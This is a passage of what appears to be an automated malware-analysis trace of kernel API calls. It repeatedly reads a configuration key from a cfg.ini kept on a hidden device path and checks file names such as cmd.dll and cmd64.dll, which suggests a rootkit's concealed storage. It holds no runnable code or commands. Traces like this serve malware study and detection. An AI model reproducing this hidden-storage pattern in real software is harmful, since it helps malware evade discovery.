_Dest="0d24eb7c\\cfg.ini") returned 16 [0125.203] KeEnterCriticalRegion () [0125.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.203] KeLeaveCriticalRegion () [0125.203] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.203] KeEnterCriticalRegion () [0125.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.203] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.203] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.203] KeLeaveCriticalRegion () [0125.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.204] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.204] KeEnterCriticalRegion () [0125.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.204] ExFreePoolWithTag (P=0xfffffa8003bf6e10, Tag=0x0) [0125.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.204] KeLeaveCriticalRegion () [0125.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.204] ReleaseMutex (hMutex=0xf0) returned 1 [0125.204] Sleep (dwMilliseconds=0x124f80) [0125.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.218] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.218] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.218] KeEnterCriticalRegion () [0125.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.218] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.219] IdePortDispatch () returned 0x103 [0125.219] KeWaitForMutexObject () returned 0x0 [0125.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.219] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.219] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.219] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.219] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.219] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5a40 [0125.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.219] KeLeaveCriticalRegion () [0125.219] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.219] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.219] KeEnterCriticalRegion () [0125.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.219] KeLeaveCriticalRegion () [0125.219] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.219] KeEnterCriticalRegion () [0125.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.219] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.219] IdePortDispatch () returned 0x103 [0125.219] KeWaitForMutexObject () returned 0x0 [0125.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.219] KeLeaveCriticalRegion () [0125.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.220] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.220] KeEnterCriticalRegion () [0125.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.220] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf4000 [0125.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.220] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.220] IdePortDispatch () returned 0x103 [0125.220] KeWaitForMutexObject () returned 0x0 [0125.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.220] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.220] IdePortDispatch () returned 0x103 [0125.220] KeWaitForMutexObject () returned 0x0 [0125.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.220] KeLeaveCriticalRegion () [0125.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.221] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.221] KeEnterCriticalRegion () [0125.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] KeLeaveCriticalRegion () [0125.221] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.221] KeEnterCriticalRegion () [0125.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.221] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] KeLeaveCriticalRegion () [0125.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.221] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.221] KeEnterCriticalRegion () [0125.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] ExFreePoolWithTag (P=0xfffffa8003bf5a40, Tag=0x0) [0125.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.221] KeLeaveCriticalRegion () [0125.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.221] ReleaseMutex (hMutex=0xf0) returned 1 [0125.221] Sleep (dwMilliseconds=0x124f80) [0125.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.231] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.231] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.231] KeEnterCriticalRegion () [0125.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.231] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.231] IdePortDispatch () returned 0x103 [0125.231] KeWaitForMutexObject () returned 0x0 [0125.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.231] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.231] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.231] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.231] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.231] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.231] KeLeaveCriticalRegion () [0125.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.232] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.232] KeEnterCriticalRegion () [0125.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.232] KeLeaveCriticalRegion () [0125.232] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.232] KeEnterCriticalRegion () [0125.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.232] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.232] IdePortDispatch () returned 0x103 [0125.232] KeWaitForMutexObject () returned 0x0 [0125.232] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.232] KeLeaveCriticalRegion () [0125.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.232] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.232] KeEnterCriticalRegion () [0125.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.232] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf8000 [0125.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.232] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.232] IdePortDispatch () returned 0x103 [0125.232] KeWaitForMutexObject () returned 0x0 [0125.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.233] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.233] IdePortDispatch () returned 0x103 [0125.233] KeWaitForMutexObject () returned 0x0 [0125.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.233] KeLeaveCriticalRegion () [0125.233] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.233] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.233] KeEnterCriticalRegion () [0125.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.233] KeLeaveCriticalRegion () [0125.233] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.233] KeEnterCriticalRegion () [0125.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.234] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] KeLeaveCriticalRegion () [0125.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.234] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.234] KeEnterCriticalRegion () [0125.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.234] KeLeaveCriticalRegion () [0125.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.234] ReleaseMutex (hMutex=0xf0) returned 1 [0125.234] Sleep (dwMilliseconds=0x124f80) [0125.241] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.241] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.241] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.242] KeEnterCriticalRegion () [0125.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.242] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.242] IdePortDispatch () returned 0x103 [0125.242] KeWaitForMutexObject () returned 0x0 [0125.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.242] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.242] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.242] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.242] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.242] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6760 [0125.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.242] KeLeaveCriticalRegion () [0125.242] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.242] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.242] KeEnterCriticalRegion () [0125.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.242] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.242] KeLeaveCriticalRegion () [0125.242] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.242] KeEnterCriticalRegion () [0125.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.242] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.242] IdePortDispatch () returned 0x103 [0125.243] KeWaitForMutexObject () returned 0x0 [0125.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.243] KeLeaveCriticalRegion () [0125.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.243] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.243] KeEnterCriticalRegion () [0125.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.243] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfb000 [0125.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.243] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.243] IdePortDispatch () returned 0x103 [0125.243] KeWaitForMutexObject () returned 0x0 [0125.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.243] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.243] IdePortDispatch () returned 0x103 [0125.243] KeWaitForMutexObject () returned 0x0 [0125.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.243] KeLeaveCriticalRegion () [0125.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.244] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.244] KeEnterCriticalRegion () [0125.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] KeLeaveCriticalRegion () [0125.244] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.244] KeEnterCriticalRegion () [0125.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.244] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] KeLeaveCriticalRegion () [0125.244] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.244] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.244] KeEnterCriticalRegion () [0125.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] ExFreePoolWithTag (P=0xfffffa8003bf6760, Tag=0x0) [0125.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.244] KeLeaveCriticalRegion () [0125.244] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.244] ReleaseMutex (hMutex=0xf0) returned 1 [0125.244] Sleep (dwMilliseconds=0x124f80) [0125.259] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.259] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.259] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.259] KeEnterCriticalRegion () [0125.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, 